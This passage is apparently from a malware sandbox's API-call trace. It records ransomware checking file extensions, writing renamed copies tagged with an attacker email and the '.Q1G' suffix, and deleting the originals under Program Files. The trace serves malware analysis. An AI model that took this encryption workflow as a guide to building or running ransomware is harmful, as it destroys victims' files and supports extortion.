0xffffffff [0236.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0236.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0236.867] lstrlenW (lpString=".doc") returned 4 [0236.867] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.867] lstrlenW (lpString=".docx") returned 5 [0236.867] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0236.867] lstrlenW (lpString=".pdf") returned 4 [0236.867] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.867] lstrlenW (lpString=".xls") returned 4 [0236.867] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.867] lstrlenW (lpString=".xlsx") returned 5 [0236.867] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0236.867] lstrlenW (lpString=".ppt") returned 4 [0236.867] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0236.867] lstrlenW (lpString=".zip") returned 4 [0236.867] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.867] lstrlenW (lpString=".rar") returned 4 [0236.867] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.867] lstrlenW (lpString=".bz2") returned 4 [0236.867] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.867] lstrlenW (lpString=".7z") returned 3 [0236.867] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0236.868] lstrlenW (lpString=".dbf") returned 4 [0236.868] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0236.868] lstrlenW (lpString=".1cd") returned 4 [0236.868] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0236.868] lstrlenW (lpString=".jpg") returned 4 [0236.868] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0236.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0236.868] lstrlenW (lpString=".doc") returned 4 [0236.868] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.868] lstrlenW (lpString=".docx") returned 5 [0236.868] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0236.868] lstrlenW (lpString=".pdf") returned 4 [0236.868] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.868] lstrlenW (lpString=".xls") returned 4 [0236.868] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.868] lstrlenW (lpString=".xlsx") returned 5 [0236.868] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0236.868] lstrlenW (lpString=".ppt") returned 4 [0236.868] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0236.868] lstrlenW (lpString=".zip") returned 4 [0236.868] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.868] lstrlenW (lpString=".rar") returned 4 [0236.868] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.868] lstrlenW (lpString=".bz2") returned 4 [0236.869] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=3584) returned 1 [0236.869] CloseHandle (hObject=0x314) returned 1 [0236.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui")) returned 0x20 [0236.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0236.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0236.869] lstrlenW (lpString=".doc") returned 4 [0237.139] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=169984) returned 1 [0237.139] CloseHandle (hObject=0x324) returned 1 [0237.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll")) returned 0x20 [0237.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0237.139] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll") returned 61 [0237.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll") returned 61 [0237.139] lstrlenW (lpString=".doc") returned 4 [0237.876] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0237.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0237.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0237.876] lstrlenW (lpString=".doc") returned 4 [0237.876] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0237.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0237.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0237.877] lstrlenW (lpString=".doc") returned 4 [0237.877] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0237.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0237.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0237.878] lstrlenW (lpString=".doc") returned 4 [0238.730] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0238.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll") returned 70 [0238.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll") returned 70 [0238.731] lstrlenW (lpString=".doc") returned 4 [0238.733] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0238.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll") returned 69 [0238.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll") returned 69 [0238.733] lstrlenW (lpString=".doc") returned 4 [0238.733] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0238.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll") returned 70 [0238.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll") returned 70 [0238.733] lstrlenW (lpString=".doc") returned 4 [0238.736] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0238.736] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0238.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0238.832] GetLastError () returned 0x0 [0238.832] ReadFile (in: hFile=0x360, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0xa2b58, lpOverlapped=0x0) returned 1 [0238.862] WriteFile (in: hFile=0x338, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xa2b60, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xa2b60, lpOverlapped=0x0) returned 1 [0238.936] ReadFile (in: hFile=0x360, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0238.936] WriteFile (in: hFile=0x338, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0238.936] SetEndOfFile (hFile=0x338) returned 1 [0238.936] CloseHandle (hObject=0x338) returned 1 [0238.937] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0238.937] SetEndOfFile (hFile=0x360) returned 1 [0238.972] CloseHandle (hObject=0x360) returned 1 [0238.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0238.979] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll")) returned 1 [0238.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0238.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0238.979] lstrlenW (lpString=".doc") returned 4 [0238.979] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0238.979] lstrlenW (lpString=".docx") returned 5 [0238.979] lstrcmpiW (lpString1=".docx", lpString2="v.rll") returned -1 [0238.979] lstrlenW (lpString=".pdf") returned 4 [0238.979] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0238.979] lstrlenW (lpString=".xls") returned 4 [0238.979] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0238.979] lstrlenW (lpString=".xlsx") returned 5 [0238.979] lstrcmpiW (lpString1=".xlsx", lpString2="v.rll") returned -1 [0238.979] lstrlenW (lpString=".ppt") returned 4 [0238.979] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0238.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0238.979] lstrlenW (lpString=".zip") returned 4 [0238.979] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0238.980] lstrlenW (lpString=".rar") returned 4 [0238.980] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0238.980] lstrlenW (lpString=".bz2") returned 4 [0238.980] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0238.980] lstrlenW (lpString=".7z") returned 3 [0238.980] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0238.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0238.980] lstrlenW (lpString=".dbf") returned 4 [0238.980] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0238.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0238.980] lstrlenW (lpString=".1cd") returned 4 [0238.980] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0238.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0238.980] lstrlenW (lpString=".jpg") returned 4 [0238.980] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0238.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0238.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0238.980] lstrlenW (lpString=".doc") returned 4 [0238.980] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0238.980] lstrlenW (lpString=".docx") returned 5 [0238.980] lstrcmpiW (lpString1=".docx", lpString2="v.rll") returned -1 [0238.980] lstrlenW (lpString=".pdf") returned 4 [0238.980] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0238.980] lstrlenW (lpString=".xls") returned 4 [0238.980] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0238.980] lstrlenW (lpString=".xlsx") returned 5 [0238.980] lstrcmpiW (lpString1=".xlsx", lpString2="v.rll") returned -1 [0238.980] lstrlenW (lpString=".ppt") returned 4 [0238.980] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0238.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0238.980] lstrlenW (lpString=".zip") returned 4 [0238.980] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0238.980] lstrlenW (lpString=".rar") returned 4 [0238.980] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0238.980] lstrlenW (lpString=".bz2") returned 4 [0238.980] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0238.981] lstrlenW (lpString=".7z") returned 3 [0238.981] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0238.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0238.981] lstrlenW (lpString=".dbf") returned 4 [0238.981] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0238.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0238.981] lstrlenW (lpString=".1cd") returned 4 [0238.981] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0238.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0238.981] lstrlenW (lpString=".jpg") returned 4 [0238.981] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0238.981] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0238.981] lstrlenW (lpString="CMNTY_01.MID") returned 12 [0238.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0241.531] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=6970) returned 1 [0241.531] CloseHandle (hObject=0x204) returned 1 [0241.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x20 [0241.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0241.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0241.895] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0241.895] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0241.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0241.942] GetLastError () returned 0x0 [0241.942] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x1b3a, lpOverlapped=0x0) returned 1 [0241.968] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x1b40, lpOverlapped=0x0) returned 1 [0241.969] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0241.969] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0241.969] SetEndOfFile (hFile=0x3a0) returned 1 [0241.969] CloseHandle (hObject=0x3a0) returned 1 [0241.970] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0241.970] SetEndOfFile (hFile=0x390) returned 1 [0242.122] CloseHandle (hObject=0x390) returned 1 [0242.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid")) returned 1 [0242.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0242.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0242.149] lstrlenW (lpString=".doc") returned 4 [0242.149] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.149] lstrlenW (lpString=".docx") returned 5 [0242.149] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.149] lstrlenW (lpString=".pdf") returned 4 [0242.149] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.149] lstrlenW (lpString=".xls") returned 4 [0242.149] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.149] lstrlenW (lpString=".xlsx") returned 5 [0242.149] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.149] lstrlenW (lpString=".ppt") returned 4 [0242.149] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0242.149] lstrlenW (lpString=".zip") returned 4 [0242.149] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.149] lstrlenW (lpString=".rar") returned 4 [0242.149] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.149] lstrlenW (lpString=".bz2") returned 4 [0242.149] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.150] lstrlenW (lpString=".7z") returned 3 [0242.150] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0242.150] lstrlenW (lpString=".dbf") returned 4 [0242.150] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0242.150] lstrlenW (lpString=".1cd") returned 4 [0242.150] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0242.150] lstrlenW (lpString=".jpg") returned 4 [0242.150] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0242.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0242.150] lstrlenW (lpString=".doc") returned 4 [0242.150] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.150] lstrlenW (lpString=".docx") returned 5 [0242.150] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.150] lstrlenW (lpString=".pdf") returned 4 [0242.150] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.150] lstrlenW (lpString=".xls") returned 4 [0242.150] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.150] lstrlenW (lpString=".xlsx") returned 5 [0242.150] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.150] lstrlenW (lpString=".ppt") returned 4 [0242.150] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0242.150] lstrlenW (lpString=".zip") returned 4 [0242.150] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.150] lstrlenW (lpString=".rar") returned 4 [0242.150] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.150] lstrlenW (lpString=".bz2") returned 4 [0242.150] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.150] lstrlenW (lpString=".7z") returned 3 [0242.150] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0242.151] lstrlenW (lpString=".dbf") returned 4 [0242.151] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.151] lstrlenW (lpString="C:\\Program Files\\Microsoft 